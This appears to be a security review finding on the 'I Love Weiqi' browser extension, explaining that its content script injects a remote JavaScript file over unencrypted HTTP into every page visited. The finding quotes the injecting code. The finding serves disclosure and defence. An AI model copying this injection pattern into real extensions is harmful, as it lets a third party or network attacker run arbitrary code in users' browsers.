I Love Weiqi

The content script, which runs on ALL URLs (`<all_urls>`), fetches and injects an external JavaScript file from `http://gcao.github.io/jsgameviewer/js/test.js` — an unencrypted HTTP endpoint on a GitHub Pages account (`gcao`) that is not controlled by the publisher. A cache-busting timestamp ensures a fresh version is loaded every hour, allowing the remote payload to be silently changed and executed in the context of every webpage the user visits. This gives a third party (or any MITM attacker) the ability to run arbitrary code on every site the user browses.

var URL = "http://gcao.github.io/jsgameviewer/js/test.js";var SCRIPT_ID = "iloveweiqi-script";// Add a cache id param to url to force reload this script every hourif (URL.indexOf('?') < 0) {  URL += "?";} else if (URL.indexOf('&') > 0) {  URL += "&";}URL += "cacheId=" + timeToString();var script = document.createElement("script")script.setAttribute("id", SCRIPT_ID);script.type = "text/javascript";script.src = URL;document.documentElement.lastChild.appendChild(script);